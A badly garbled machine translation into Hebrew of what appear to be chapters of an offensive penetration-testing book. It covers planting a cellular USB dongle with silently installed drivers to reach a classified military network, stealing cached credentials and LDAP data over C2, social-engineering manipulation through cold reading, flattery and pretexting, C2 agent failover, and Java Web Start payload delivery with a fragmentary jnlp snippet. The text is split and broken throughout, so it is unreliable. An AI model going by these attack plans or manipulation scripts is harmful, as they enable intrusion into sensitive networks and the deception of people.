[Link],אנו רואים את הד ברים ה באים:
"$ dig +short [Link] TXT "yandex-verification: 73acb90f6a9abd76
כ ל מיי לים המתיימרים להיות -PayPalמ)ו כו לנו ראינו אותם( שאינם מ קורם
במאר חים הר שומים כאןיי כ ש לו במ ב חן SPFו ס ביר להני ח שיזר קוי שירות לתי קיית
ה ספאם אם לא ר קיימ ח קו .זה לא מ שנה כמה העי לה מ ש כנעת ,זה לאיע בוד.
ההנ חה כאן היא שאתה תמיד צריך ל בדו ק אם לדומייןי ש הגנת SPFלפני שתנ סה
לזייף אותו.
Machine Translated by Google
ההת קפה
בפר ק ש ל The West Wing,מז כירת העיתונות )CJ Creggבגי לומה ש ל א לי סון ג'אני ה ב לתי ניתנת
ל חי קוי( נפרצה לת חנת הע בודה ש לה ע לידי ס טו קר ואומרת לעמית" ,האםידעת שר שת ה בית ה ל בן
אפי לו לא מאו ב ט חת?"
זה היה מדוי ק? בערך.
כא שר אנו מד ברים ע ל "מא ב ט ח" בה ק שר ש ל ר שתות ממ ש לתיות או צ באיות ,למי להי ש מ שמעות מאוד
ספציפית .זה לא אומר שאמצעים קיצוניים לא נ כנ סו לא ב ט חתו ,א לא פ שו ט שאם ר שת מ חו ברת לאינ טרנ ט,
היא מ ט בעה " לא מאו ב ט חת" .אמורה להיות לך ציפייה מוג ב לת לא ב ט חה והת שתית אינה מדורגת ע בור
נתונים מ סווגים או מ סומנים באופן מגן.
אני לא מז כיר שום שמות ,א ב ל אם הייתי מז כיר המדינה הייתי רוצה גם שרת אימיי ל מ ש לי.
אם ת שתית צרי כה ל טפ ל בנתונים מ סווגים ,היא צרי כה להתאים ל ס טנדר טים מ סוימים .ר שתות א לו
מופרדות מ כ ל מה שהצוות ש לך מ שתמ ש בו כדי לג לו ש באינ טרנ ט ,ל ש ח ק סו לי טר ו בדרך כ ל ל ל בז בז
את כ ספי מ ש לם המ סים .די ברתי ב קצרה ע ל SIPRNetו לזה אני הו לך ל חזור ע כ שיו.
ר שת נת ב פרו טו קו ל האינ טרנ ט ה סודית )(SIPRNetהיא ר שת מ שרד ההגנה ל חי לופי מידע מ סווג
והודעות ברמת SECRET.הוא תומך במער כת הפי קוד וה ב קרה העו למית ,מער כת ההודעות ההגנה,
ויי שומי ל חימה ות כנון מ סווגים ר בים א חרים .למרות שה teNRPIS-מ שתמ ש באותם נה לי ת ק שורת
כמו האינ טרנ ט,י ש לו קוויםייעודיים ומוצפנים הנפרדים מ כ ל שאר מער כות הת ק שורת .זהו המ ק בי ל
המ סווג ש ל ר שת נת ב פרו טו קו ל האינ טרנ ט ה ב לתי מ סווגת אך הרגי שה (NIPRNet),המ ספ קת
י כו לת פעו לה הדדית ח ל קה ליי שומי תמי כה ב ל חימה לא מ סווגים וגי שה מ בו קרת לאינ טרנ ט.
גי שה -SIPRNetלדור שת אי שור ברמת SECRETומע לה וצורך במידע שזמין ר ק -SIPRNet.ב מ כיוון
שה teNRPIS-הואיעד ברור ל חדירה עוינת ,מ ספר קפדניים
Machine Translated by Google
הדג שים הם ש לי .דף האינ טרנ ט הנגי ש לצי בור הזה אמר לי את כ ל מה שאני צריך כדי
לפרוץ לר שת הזו .עוד צי טו ט א חד מאותו דף אינ טרנ ט )הפעם ר ק ב ש בי ל ה כיף( :ע בור
מ ח ש בים המ שמ שים לעי בוד מידע מ סווג ,מומ לץ לה ש בית אתי כו לת ה קרנתיציאת
אינפרא אדום (IR).אם לא ניתן ל ב ט ל אתיציאת -IR,ה כ סה אתיציאת -IRה ב סר ט
מת כתי.
בעוד שר שתות כמו NIPRNetוSIPRNet -הןי שויות מרוו חות אוויר ,מ ל בד הן והן
מהאינ טרנ ט הצי בורי הר ח ביותר ,זה קורה ר ק ב כ ל מת קן נתון .ז כרו ש לר שתות
א לוי ש מ שתמ שים ב כ ל העו לם ו ל כן לאיהיו להם כ ב ליםייעודיים ,כך ש בין האתרים
ה חי בורים ע שויים לה שתמ ש בת שתית צי בורית ,אם כי מוצפנת ברמה שתואמת
את מדיניות ה טיפו ל בנתונים המ סומנים -SECRETבאו NATOס וֹד .ט כנו לוגיות
כא לה אינןי שירות
Machine Translated by Google
מ סומן -SECRETבאו -NATO SECRET.ב ט כנו לוגיות כא לה אינן ר לוונ טיות כאן
י שירות ,אך הן מהוות מ ח קר מעניין .נ קודה נו ספת ש כדאי לציין היא ש ק ב לת מידע
ע ל המ בנה ה כ ל לי ש ל ר שתות מ סווגות אינה ק שה כפי שהיא ע שויה להיראות.י ש
לה כ שיר את המ שתמ שים בהפע לתם וי ש ל כתו ב ו לע קו ב א חר קודי ה חי בור .התיעוד
הזה לאיהיה סודי ר ק בג ל ל ש כ כ ל שמ שהו מ סווגיותר ,כך ק שהיותר לת ק שר .זו
) במ סגרת הנ חיות מ סוימות( בא חריותם ש ל המ ח ברים להגדיר את ה סימון כפי שהם
מוצאים לנ כון ,והד חף הוא לעתים קרו בות ל שמור ע ל ד ברים נמו כים כ כ ל האפ שר
כדי למנוע כא בי רא ש והוצאות .מ ל בד מדיניות ,זה גם הר בהיותרי קר לנ קות אדם
-SECRETל מא שר -RESTRICTED.לי ש תיעוד ר ב -SIPRNetב באינ טרנ ט הצי בורי.
אמרתי הצהרה נועזת לפני כמה פ ס קאות שע כ שיו אני הו לך לג בות .מה אמר לנו
ה ט ק ס ט המצו ט ט הזה ש כ ל כך קרי טי למ שימה הזו?
אין מדיניות א ב ט חה במ קום כדי למנוע חי בור כונני USBלמ ח ש בי SIPRNet.זה
כנראה קורה כ ל הזמן.
לא חר שימו ש בהת קן USBבמ ח ש ב המ חו בר -SIPRNet,להואיור ש או טומ טית
את מדיניות ה טיפו ל ברמת SECRETו"י ש להגן ע ליו בהתאם ואין לה שתמ ש בו
ב כ ל מ ח ש ב לא מ סווג".
עדיין מעורפ ל מדי? כדי ל בדו ק את דרי שות המ שימה ,אני צריך:
בניית מ טען מתאים.
שים את המ טען הזה במ קום.
ה סר את נתוני היעד.
זה סדר טו ב כמו כ ל סדר לג שת ל בעיה.
מ קים את C2.
לא חר שזיהיתי שהו שגה גי שה לאינ טרנ ט ,ה שתמ ש ב כ ל ה ס קריפ טים המתאימים כדי ל בצע את
המ טרות המפור טות בהמ שך.
ז כור ש2C-יופ ס ק ברגע שהמ שתמ שי סיר את הדונג ל מהמ ח ש ב ,ו ל כן ה חו כמה היא לוודא שת כו לת ה כונן
מ ספי ק מעניינת כדי שיהיה מ ספי ק זמן להפע לת ה ס קריפ טים ש לך.
ה סוגיה הי חידה בנ קודות ה ל לו ש לא נידונה כ בר במ קומות א חרים ב ספר זה היא פרי סת הדריי ברים
ה חמ קנית .א חרי ה כ ל ,זה די לא ריא לי לצפות שהיעדי ש לים ע בורך הת קנה אינ טרא ק טי בית .למר בה המז ל,
זה די טריוויא לי.
הת קנת תו כנה 3G/4Gחמ קנית בתר חי ש רגי ל ו לגי טימי כא שר מ שתמ ש רוצה להת קין דונג ל נייד ,הוא
ית קין את התו כנה באופןידני ,בדרך כ ל ל כ שהוא מתמודד עם מ סך ההת קנה המוצג באיור 7.2 .
י שנן שתי גי שות .אנ חנוי כו לים לפר ק את המת קין ו ליצור מ ש לנו
Machine Translated by Google
י שנן שתי גי שות .אנ חנוי כו לים לפר ק את המת קין ו ליצור מת קין ש ק ט מ ש לנו ,וזה ר ק
עניין ש ל ל שים ל ב אי לו ק בצים מות קנים ואיזו רי שום Registryנע שה בהת קנה נ קייה
ואז ל ח קות את זה .או ,במ קרה ש ל התו כנה שצוינה )והר בה ספ קים א חרים ,אני לא
מצ ביע כאן(,י ש אפ שרות להת קנה " ש ק טה" .זה כ לו ל כדי להפוך את ד חיפת הת קנות
המוניות למ ח ש בים ניידים ארגוניים פ חות זמן ר ב ,אך גם מ שרת את המ טרות ש לנו
הי ט ב .הפ קודה ה באה תת קין ות ח בר את הדונג ל הנייד באופן או טומ טי ,ב ש ק ט ו ל לא
רי שום.
האפ שרות הי חידה שתצ טרך ל שנות היא מ ספר OPCO_PROP ,שהוא המזהה ש ל
ה ספ ק ה ס לו לרי .א להי שתנו לפי מי קום אך ניתן למצוא אותם ב ק לות באינ טרנ ט ,מ כיוון
שהם עניין ש ל תיעוד צי בורי.
למר בה האירוניה ,זה נותן לנו את עצמנו .במ קרה זה ,זיהוי כונן -USBה עם ה סימונים
הנ כונים כדי לרמוז שמ קורו -SIPRNetבהוא המ חזה .ניתן לה שיג זאת ע לידי הד ב קת
התוויות ה באות ל כ ל צד ש ל המ כ שיר.
SIPDISפירו שו שזה מיועד להפצה ש ל -NOFORNו SIPRNetפירו שו ל לא אזר חים
זרים )ראה איור 7.3).
כמו גםי כו לת ח קירה מיו חדת( ,הדרך ה ק לה ביותר לה שיג זאת היא ל ח בר אותו לת חנת
ע בודה ש ל SIPRNet.למר בה האירוניה ,זו הדרך ה ק לה ביותר לא ל ש בור את מדיניות
הא ב ט חה .הת קפה זוי כו לה להיותיעי לה בצורה הר סנית ב כ ל ס בי בה מאו ב ט חת.
ה חו כמה היא לה כני ס את המ כ שיר לר שות המ טרה מ ב לי לעורר ח שד ,א ב ל אין שם שום
ד בר חד ש .רו ב ההת קפות מה סוג הזה מ ש כנעותיותר אם אתהי כו ל לגרום למי שהו א חר
לע שות אותן ע בורך .כי סינו את הפרי סה הפיזית ש ל ח בי לות מ טרה במ קומות א חרים ,א ב ל
רעיון א חד הוא שנערי צ בא נו טים ל שתותי חד באותם מ קומות.י ש הזדמנות מו ש למת לא חד
מהם " למצוא" מ שהו שהםיני חו שא חד מעמיתיהםירד ,במיו חד א חרי כמה בירות.
זה לא ריא לי ל ח שו ב שמת קפה כזו ) לפ חות כ ש לעצמה( תיצור כ ל פתרון C2ל טוו ח ארוך.
א חרי ה כ ל ,המת קפה תימ שך ר ק כ ל עוד ה חומרה מ חו ברת למ ח ש ב SIPRNet.ל כן,
המ טרות ש ל הת קפה מ סוג זה צרי כות להיות מוגדרות מרא ש וצרי כות להיות מאוד ספציפיות.
מ טמונים ,קו בצי Cookieו סי סמאות מ קומיים C2 .לאיהיה פעי ל מ ספי ק זמן כדי ש כ ל
סוג ש ל פעי לות רי שום מפת ח תהיה שווה לע סו ק בה.
נתוני LDAP.ברגע שאתה נמצא בתוך ר שת מ סווגת ,ה ט כנו לוגיות שתת ק ל בהן מע ט
שונות מרו ב הר שתות הארגוניות .הצ בא הוא כמו כ ל ארגון גדו ל א חר -ביורו קר טיה
מ למע לה למ טה שמו ב לת ע לידי ג ברים מ בוגרים שאינםיודעים הר בה ע ל ט כנו לוגיה.
הצ בא מ שתמ ש -WSUSו -SharePoint, Exchangeב כמו כו לם .אנויודעים מאדוארד
סנודן עד כמה הרא שון פופו לרי .א להיוצרים מ טרותיפות.
ש ל מ ס שפתיים כדי למ קד מדיניות א ב ט חה כא שר אתה פוגע בר שתות מ סווגות .ל ק חת נתונים המ סומנים
ב סוד מע ל ערוץ C2ש לך אינו רעיון טו ב א לא אם כן הוא ות שתית C2ש לך מאו שרים ל טיפו ל בנתונים
כא לה ו בואו נהיה כנים ,הם לאיהיו .מה ב חינה הזו ,צי לום מ סך כדי להו כי ח שהיית שם היא דרך ב טו חה
יותר ל ל כת.
סי כום
מ טרת פר ק זה הייתה ל למד אותך ש לו שה ד ברים:
הדוגמאות שניתנו או לי נראות מומצאות א ב ל הן לא .כ ל מה שנדר ש כדי שתו קףיז כה ב כני סה ל ס בי בות
המאו ב ט חות ביותר הוא ש לאדם א חד תהיה הפ ס קה א חת ב שיפו ט פעם א חת .אני ממ שיך לה סיע את הנ קודה
הזו ה ביתה כי זה באמת העי קר .בתור בוד ק חדירה,י ש לי את הע בודה ה ק לה .תו קף הוא תמידיתרון .אני שונא
ל ק ב ל את הא חריות ל שמור ע ל ר שת מפני הת קפה; לעו לם לא הייתיי שן.
בפר ק ה בא ,אני מד בריותר ע ל הנד סה ח ברתית ואמצעיםיצירתיים לת קוף תע שייה שונה מאוד.
תרגי לים
1.ה קוד בדוגמה ש ל חי לוץ נתוני הדואר הא ל ק טרוני ש ל Microsoft Outlookאינו חמ קני כפי שהואי כו ל
להיות .איזו פונ קציה אפ שר להו סיף כדי להפוך את זה ל חמ קןיותר?
רמז ,הר כי ב את ה קוד וראה כיצד הוא מתנהג.
פר ק 8
הא ק עיתונאים
בפר ק הזה אני רוצה לד בר ע ל הנד סה ח ברתית -די ברנו ע ל זה קצת לאורך ה ספר א ב ל
ע כ שיו כ שאנ חנו ל קראת ה סוף אני רוצה להו סיף קצת עומ ק .במ קום ל ש חזר את מה
ש כת בתי ע ליו בע בר ,ברצוני לדון במ סגרת חד שה לג שת להנד סה ח ברתית באמצעות
מה שאמצעי במה ואמנים א חרים מ כנים קריאה קרה.
בנו סף ,אציג כמה ט כנו לוגיות מתפת חות ו קיימות ,שימו שיות כא שר מ חפ שים דר כים
יצירתיותיותר ל ספ ק מ טען.
ל ב סוף ,אציג כמה מו שגים מת קדמים בניהו ל סו כני C2שיהיה חיוני לה בנה ב ס בי בה
ש בה אתה צריך לנה ל מ ספר סו כנים מ ב לי לנצ ליותר מדי מרו ח ב הפ ס ש ל היעד.
ִתדר ו ּך
היעד ה לפני א חרון ב ספר זה הוא הוצאת מגזינים בינ לאומית גדו לה .ה ח ש שות העי קריים
שהגיעו מההנה לה היו שתה ליך הערי כה והפיתו ח היו מרו ש ל מנ קודת מ ב ט בי ט חונית
וזה ע לו ל להו בי ל ל כך שתו קףיו כ ל ל שנות פר סומים לפני היציאה לדפו ס )הת קפה זו
י כו לה להיות שו ב בות ח סרת מניע או מ שהו שממו קד ע לידי פעי לים ,ו כן זהיהיהי קר
באותה מידה לת קן(.
בית ההוצאה הזה ,כמו ר בים א חרים ,ה שתמ ש ב כ לי Adobe Creative Suiteכמע ט
ל כ ל ח ל ק בתה ליך הפיתו ח -אינדיזיין לפרי סה ,פו טו שופ להדמיה ו כו' .שו ב ,כמו הר בה
ע ס קים כא לה ,הם היו מאוד בית ש ל אפ ל וה כ ל האנ שים ש להם ה שתמ שו במ ח ש בי מ ק.
מידע שימו שי שי ש.
במ קום להתמ קד בהת קפות גנריות ה ח לות ע ל כ ל ע ס ק ,רציתי ל ח קור גי שה
מותאמת שתת קוף את כ לי המדיה הע שירה ש להם בדרך כ ל שהי ,כ לומר ,לה כני ס
את עצמי לזרימת הע בודה היומיומית ש ל ה ח ברה בצורה כזו שתצמצם כ ל ח שד
בצוות הערי כה ,ש כנראהיהיו היעדים העי קריים .ק טע ההת קפה ב סוף פר ק זה
מפר ט כיצד ערערתי מוצר שהם ה שתמ שו בו מדייום כדי להוריד ו להת קין סו כן C2.
קריאה קרה קוראים קרים מ שתמ שים במ ספר שי טות כדי לרמוז שהםיודעים הר בה
יותר ע ל הנו שא ממה שהםיודעים בפוע ל .כפי שציינתי ,הוא מ שמ ש לרו ב )אך לא
ב לעדי( בהתיי ח ס ל"מדיום" ו למ בצעי במה .ח ש בתי שזהיהיה פרוי ק ט אמנותי מהנה
ל למוד ע ל ה טארו ט ו בו זמנית ל למוד את כ ל מה שאו כ ל למצוא ב קריאה קרה וגם לצפות
בהופעות ש ל הגדו לים בת חום המנ ט ליזם .רציתי לראות אםי ש דר כים שאפ שר ליי שם
קריאה קרה לת חום הר ח ביותר ש ל הנד סה ח ברתית ,במיו חד במ ב חני חדירה.
קורא ע שוי לומר מ שהו כמו" ,אניי כו ל לראות ק שר עם אירופה ,או לי ברי טניה ,או שזה
י כו ל להיות האזורים הדרומיים ה חמיםיותר .הרו שם הזה חז ק למדי; זה אומר לך מ שהו?"
אם ה סימן עונה מ שהו כמו" ,האם זהי כו ל ל כ לו ל את ויי ל ס?" ואז ה קוראיר חי ב ע ל כך
באומרו" ,י ש ת חו שה ק ל טית מו בה קת לר ט טים שאני ח ש".
הד בר המגני ב בגי שה הזו הוא שהיא הופ כת את התה ליך לעצמה .ה ק ב לה רגי לה ל ח סום
שי חות לאנ שים מ סוימים )מאת מ כירות או מגיי סים בדרך כ ל ל( ,א ב ל תה ליך ה ח סימה
הזה נע לם כעת .ע כ שיו זו ר ק שי חה בין שני אנ שים ,א חד שמנ סה לעזור ע לידי ה חזרת
שי חה מיידית ומי שהו שתפ קידו לעזור .שימו ל ב שה שמות בדוגמה זוי כו לים להיות שמות
פר טיים או שהםי כו לים להיות שמות מ שפ חה .אם ה ק ב לה מזהה שם שדומה לזה
שצי ט טת ,ס ביר להני ח שתת ח בר מיד.
א חרת:
"אניי כו ל להע ביר אותך לדיי ב פי טר סון ,הוא מ טפ ל בזה ,א ב ל אני לאי כו ל להצי ב
אנ טון או ע לי".
במ קרה זה ,כ ל מה שאתה צריך לומר הוא" ,פי טר סון ,זהו.י ש לי את ה קו בץ ה לא נ כון
מו לי .מצ טער! אתהי כו ל להע ביר אותי כדי שאו כ ל ל ברר למה הוא מת ק שר?"
הא שראי הנפ שי טרי ק א חד ש בו מ שתמ שים מדיומים כדי ל ש בור את ההתנגדות ה ספ קנית
ה ט בעית ש ל ה ל קו חות ש להם הוא לרמוז שהם ח שים ש ל ל קו חי ש ר ט ט או כי שרון נפ שי
חז ק באופן ט בעי .זהי כו ל להיע שות במ ספר דר כים )"אני רואה את זה בהי לה ש לך" או
מה ש לאיהיה( ,א ב ל העניין הוא להוריד את ה ספ קנות ע לידי התיי ח סות ל ל קו ח כ שווה
ו לפיו ה כ בוד הראוי .זה טרי ק נ חמד וזה עו בד טו ב מאוד.
Machine Translated by Google
ב ברי טניה )ו כנראה במ קומות א חרים(,י ש מע ט ד ברים שאנ שים פ חות אוה בים מא שר
להתע ס ק עם עוזרי רופא )רופאים כ ל ליים( או פ קידי ק ב לה .אני לא רוצה לה כ לי ל ,א ב ל
זו למע שה ק לי שאה .הם מנ סים ל ח ל ק את ה"מומ חיות" ש להם ע ל מר שמים ועצות
רפואיות א חרות כאי לו הם רופאים בעצמם.
ציין זאת והיה מו כן ל שום מ קום אם אתה מנ סה ל ק בוע תור לרופא ש לך ב שירות
ה בריאות ה לאומי .מצד שני ,אם תע סו סוג כזה ש ל אי שיות "-אתה המומ חה אז תהיתי
אם אתהי כו ל להגיד לי - "...ותהיה לך חוויה הר בהיותר טו בה .זה לא אותו ד בר כמו
חנופה ,שאנ חנו מ כ סים קצת.
ת ח בו לת ה ק שת
חֲנ ו ּפָ ה
חנופה דומה לזי כוי הנפ שי ,אך היא ר ח בהיותר בגי שתה וי ש לג שת א ליה בזהירות .ג ברים
הם מ טרות ק לות ל חנופה ,במיו חד מצד נ שים .מצד שני ,נ שים זו כות ) בגדו ל( לא כ ל כך
ב ק לות למניפו לציות ע לידי חנופה ,ש כן הן נ חו שותיותר מפניה .עם זאת ,מעניין לציין
שהר בהיותר נ שים רואות מדיומים ו קוראות טארו ט מא שר ג ברים .ב כ ל מ קרה ,זוהי
ט כני קהיעי לה ביותר ב קריאה נפ שית.
"אתהיודע איך להיות ח בר טו ב .אני רואה שאתה בעצם אדם טו ב ,אדםי שר ,שרוצה
לע שות את הד בר הנ כון".
"אתה חם ואוה ב".
"י ש לך נ שמה טו בה".
"אתה חו ש ב עצמאי".
זה מ סוג הד ברים ש כו לם אוה בים ל שמוע .כמו בן ,ל"מדומים" ק ליותר מזה ,כי הםי כו לים
" לזהות" ד ברים כא לה מ ב לי ל ספ ק ה ק שר ו במ טרה שו ב ל ש בור את ה ספ קנות ו ל טפ ח
קר בה.
זה מ כונה גם ב קריאות נפ שיות כ" ש ב חת הדאגה" או ספ קנות מתגמ לת פ סי כו לוגית .אנ שי
א ב ט חה מודעיםיותר מדי ל כמה ק שה לאזן בין תה ליך פונ קציונ לי לא ב ט חה ו בוודאי
יערי כו מי שהו ע ל כך שהוא שם ל ב שהוא עו שה ע בודה טו בה .ר ק א ל תיראה כמו נ שי קה.
Machine Translated by Google
הצהרת ז'א ק
זהו א חד מעניין .הוא נ קרא ע ל שמו ש ל ז'א ק ב" כפי שאתה אוה ב את זה" ש ל שיי ק ספיר,
שנואם את הנאום המפור סם " ש בע עידן האדם" .רו ב האנ שים בי סודו זהים.י ש להם
את אותן חוויות באותן ת קופות ב חייהם ,אותם ניצ חונות ,הי שגים ,מ ש ברים וא כז בות .זה
לא מ שנה אם ה ל קו ח לו ב ש ח ליפה חדה ורו ל ק ס או מתאפיין בת סרו קת פאנ קית וצמיד
ני טים .זו ה סי בה שהד בר הרא שון שמדיוםי שא ל אותך הוא הגי ל ש לך.
הדוגמה ה באה היא מ שהו שיתאים למי שהו ב סוף שנות ה 03-או המו קדמות ש ל שנות
ה 04-ל חייו" :תהיו כנים עם עצמ כם :אתם מ ב לים הר בה זמן לא חרונה ב שא לות מה
קרה ל כ ל ה ח לומות הא לה שהיו ל כם בימי כם הצעירים -שאיפות ו תו כניות שפעם היו
ח שו בות לך.י ש בך ח ל ק שרוצה פ שו ט ל ב ט ל ה כ ל ,לצאת מהת לם ו להת חי ל מ חד ש -
הפעם לע שות ד ברים בדרך ש לך".
זה כמו להגיד למת בגר ש לפעמיםי ש להם מצ ב רו ח; זה כמו לירות דגים ב ח בית.
ניתן להתאים הצהרות מ סוג זה לפי הצורך .הם שימו שיים ל בניית קר בה והדגמה
שהמהנד ס ה ח ברתי והמ טרה נמצאים " באותו עמוד" וצעדו באותם נתי בים.
הצהרת בארנום
PTבארנום היה אי ש ראווה ואימפר סיו אגדי שנאמר שי ש לו "מ שהו לרצות את כו לם".
כ כזה ,הצהרת בארנום היא כזו שנועדה להי שמע נ כון ל כו לם .הצהרות א לו אינן צרי כות
להיות מ חמיאות ב ט בען .לדוגמה:
שימו ש בהצהרת ברנום בהנד סה ח ברתית כמו הצהרת ז'א ק ,להצהרת ברנוםי ש
יי שומים הר בה מע בר לאנ שים .לדוגמה" :די ברתי עם ח בר ותי ק ש לי -InfoSecב ב לונדון
ב ש בוע שע בר .הוא ע בד ב ש בי ל כם ,והוא אמר שהע ס ק שם ,אם אתםיודעים איפה
למצוא אותו ,א ב ל ה בעיה היא לגרום לו ל ש לם .שו ליים ד קים ממ שי כים להיות ד קים,
ואתה באמת צריך ל ל כת ל טוו ח ארוך כדי שזהיע בוד .או לי זה ת קף להת ק שרויותייעוץ
מ סוימותיותר מא חרות".
Machine Translated by Google
במצ ב בו תצ טר כו ל ש לו ט או ל כוון מ ספר מאר חים ,הד בריגרום לתע בורת ר שת מוגזמת
)או ל כ ל הפ חות ,מ שואה מוגזמת ו ל כן חי בורים( מ חוץ לר שת .בנ סי בות כא לה ,כדאי
ל ש קו ל מוד ל ח לופי שמא חד את המאר חים ב 2C-ש לך לערוץ ניהו ל א חד.
כפי שתראו ,זה לא ק ל כמו שזה נ שמע .אין ,כמו בן ,גי שה "ה טו בה ביותר" א חת לניהו ל
סו כנים מת קדם ,אך בפר ק זה נ ש קו ל שני פתרונות אפ שריים .זה שאתה לו ק ח ת לוי
במידה ר בה בנ סי בות המ שימה ומה המתאים ביותר בהת ח ש ב בידע ש לך ע ל
האר כי ט ק טורה ש ל ר שת היעד .עם זאת ,ב שני המ קרים המ טרה היא ל ב חור בא חד
מ סו כני C2כמא ס טר ו לתע ל את כ ל הנתונים דרך אותו צומת.
א לו הן ש לו ש דוגמאות ברורות בתר חי שים ש בהם שימו ש מופרז בתע בורת SSHפנימית
בין ת חנות ע בודה ע שוי להי ח ש ב ח שוד ע לידי ני טור ר שת אגר סי בי .ה כ ליאפ שר לך
ל שאת נתונים שרירותייםHTTPS .אינו מומ לץ ל שאת נתוני C2מ חוץ לר שת ,לאור
ה בדי קה הפו טנציא לית הנו ספת שפרו טו קו ל זהי ק ב ל מא ב ט חה ברמת הג בו ל .עם זאת,
ה שמיים הם הג בו ל אם אתה רוצה להיותיצירתי ו להי שאר מת חת לרדאר .כרגע אני
מתנ סה בהודעות -OSPFו RIPמזויפות )מער כות זיהוי חדירה לאיתער בו בפרו טו קו לי
ניתו ב פנימיים(.
ה בעיה בגי שה זו היא ש כ ל ת שתית C2הופ כת להיות ת לויה בצומת סו כן א חד .ניתן
לה קצות מ ספר סו כנים בתר חי ש כ ש ל ,א ב ל זה בדרך כ ל ל מור כ ב מיותר .פתרון פ שו ט
למ קרה שה סו כן הרא שי ש ל C2מת ) כ לומר ,מתג לה או שהמ כונה כ בויה או מופע לת
מ חד ש( הוא ליי שם פונ קציית פ ס ק זמן המ בו ס סת ע ל כ ש ל ת ק שורת ש ל פר ק זמן
שרירותי )ראה איור 8.3) .
Machine Translated by Google
ב ש ל ב זה ,שרת C2יני ח שהצומת מו ש בת באופן זמני או ק בוע וי קצה את התפ קיד ש ל
מנה ל סו כן C2למאר ח א חר.
זהינ חה את הע בדים הנותרים לנת ב דרך המאר ח ה חד ש הזה כמו קודם )ראה איור
8.4).
א לגוריתם ב חירות לא צריך להיות מור כ ב ,וגם לא צריך להיות .במי לים פ שו טות ,כא שר
הו ח ל ט )ע ק ב כ ש ל בת ק שורת או פר ק זמן חריג( ,מתר ח שות ב חירות ש בהן כ ל ח בר
בת שתית C2הוא ח בר מצ ביע.
ת ק שורת מתר ח שת באמצעות הודעות שידור והיא מער כת מ בו ס סת נ קודות.
המאר ח עם ה כי הר בה נ קודות הופך לצומת ה סו כן הרא שי ה חד ש .גורמים המ שפיעים
ע ל נ קודותי כו לים להיות:
ח שי בותי ח סית ש ל הצומת .האם זה שרת ,ב קר ת חום או נ כ ס בע ל ערך ג בוה
שצוין בע ברידנית ע לידי ב קר ה שרת ?C2
Machine Translated by Google
מהימנות קודמת ש ל הצומת כפי שצוין ע לידי זמן פעו לה .האם זו קופ סה
שנ כ בה ב שעה 17:00כ ליום?
אמינות ת ק שורת באופן כ ל לי ,שניתן לדרג אותה ב כמה אופנים עם ציון שיורד
ב כ ל פעם שמא ס טר נתון ל כ ש ל בת ק שורת )C2או להיפך ,עו לה בהת ב ס ס ע ל
ההיפך(.
ריצוד א קראי כדי למנוע ס טגנציה.
הע ס ק ש ל ק ביעתי ח סי אדון/ע בד כמו זה הוא בעיה שעומדת בפני מפת חים ר בים
בת חומים לגי טימיים ל ח לו טין ש ל פיתו ח תו כנה ש בהם התגנ בות אינה גורם .ל כן אין זה
מפתיע שזהי כו ל להיות קצתיותר מור כ ב מנ קודת המ ב ט ש לנו .במדעי המ ח ש ב ,בעיה זו
נ קראת ב חירת מנהיגים ) לא להת ב ל ב ל עם ב חירת מנהיגות( ,וי ש בתו כה הר בה פרדיגמות
וא ס כו לותיי חודיות שהן מע בר לת חום ש ל ספר זה ,א ב ל כדאי מאוד ל ח קור.
אנ חנו מ ק ב לים מ ספרי ט לפון? זה היה הר בהיותר ק ל ממה שנדמה לך וה שתמ שתי
הר בה ממה ש לימים א קרא באופן מ קצועי "הנד סה ח ברתית".
אם ת סת כ לו ע ל ה קרדי טים ב סוף כ ל סר ט נתון ,ת ב חינו ש כ ל מי שהיה ק שור
לפרוי ק ט מופיע בר שימה :קיי טרינג ,מעצ בי שיער,יועצים רו חניים ,מי ש לאיהיה.
סו כנים .סו כנים היו ה ח בר'ה שהיו מעניינים בהת ח לה כי בה ח ל טיהיו להם את
המ ספרים שרצינו וא חרי כמה הת ח לות שווא הת ח לנו מאוד לגרום להם לוותר ע ל
מ ספרים .היינו מציגים את עצמנו כעור כי דין ,עוזרים אי שיים ,ח ברות מוניותGirls. ,
D-עם זאת ,עד מהרה למדנו שי ש את כ ל התע שייה ה טפי לית הזו בהו ליווד שניזונה
מ ס ל ברי טאים )או מ טפ לת בה באופן ב לעדי ,ת לוי בפר ספ ק טי בה ש לך( והאנ שים
הא להיע שו ה כ ל כדי לה שת ל ב ב כו כ בים וגם להתפאר ב קה ל ה ל קו חות ש להם .זה
שי לו ב ש ק ל לנצ ל .עמית ל שע בר ש לי ה קים חנות ב לו ס אנג' ל ס למ כירת פתרונות
א ב ט חה " בהזמנה אי שית" ע בורידוענים .הוא היה לו ק ח ט לפון ש ל ס ל ב ,מניף
מע ליו שר בי ט ק סמים ומצהיר שהוא מאו ב ט ח א ב ל באותו הזמן הוא היה מוריד את
אנ שי ה ק שר כדי שיו כ ל להר חי ב את ב סי ס ה ל קו חות ש לו.
כת ב ויתור :א ל תע שה קונד ס להת ק שר למפור סמים ,זה לא גדו ל ,זה לא ח כם ,זה
לא מצ חי ק .נאמר מ ספי ק.
Machine Translated by Google
יי שומי JWSאינם פוע לים בתוך הדפדפן א לא נפר סים בדרך כ ל ל דרך ממ ש ק הדפדפן.
מנ קודת מ ב ט ש ל פיתו ח תו כנה,י ש לזה כמהיתרונות ,א ב ל בעי קר זה מאפ שר ניהו ל
זי כרון הר בהיותר מעודן וא כן ה קצאה ש ל הר בהיותר זי כרון ממה שהיה מ סופ ק בדרך
כ ל ל ליי שומוןJava Web Start .נפר ס כעת כ ברירת מ חד ל עם Environment
Java Runtimeואין צורך להת קין אותו בנפרד ע לידי המ שתמ ש.
במ קום ל טעון קו בץ jarמתוך דף HTML, JWSמ שתמ ש ב קו בץ XMLעם סיומת plnj.
( Java Network Launching Protocol).כא שר מ שתמ ש לו חץ ע ל ה קו בץ- .jar ,ה
נ טען מהר שת ומוע ברי שירות ל ERJ-ל ביצוע ,א שר שו ב מתר ח ש במ סגרת מ ש לו ו לא
בה ק שר ש ל ח לון הדפדפן .קו בץ .jnlpלהפע לת .jarמהאינ טרנ ט נראה כך:
></information
>מ שא בים<
>[Link]/products/autodl/j2se"/> <jar href="[Link]" main="true"/
<j2se version="1.5+" href="[Link]
Machine Translated by Google
>check="background"/> </jnlp
<update
א חת ה סי בות שאור ק ל ציינה למע בר למוד ל זה הייתה "א ב ט חה"; עם זאת ,כ ל עוד
קו בץ -.jarההמיועד להפניה המ כי ל את המ טען C2חתום ב קוד )ראה פר ק 2,מ כיוון
שהתה ליך זהה( ,אין הג ב לה ע ל מער כת ה ק בצים ,ביצוע התה ליך או כ ל ד בר א חר.
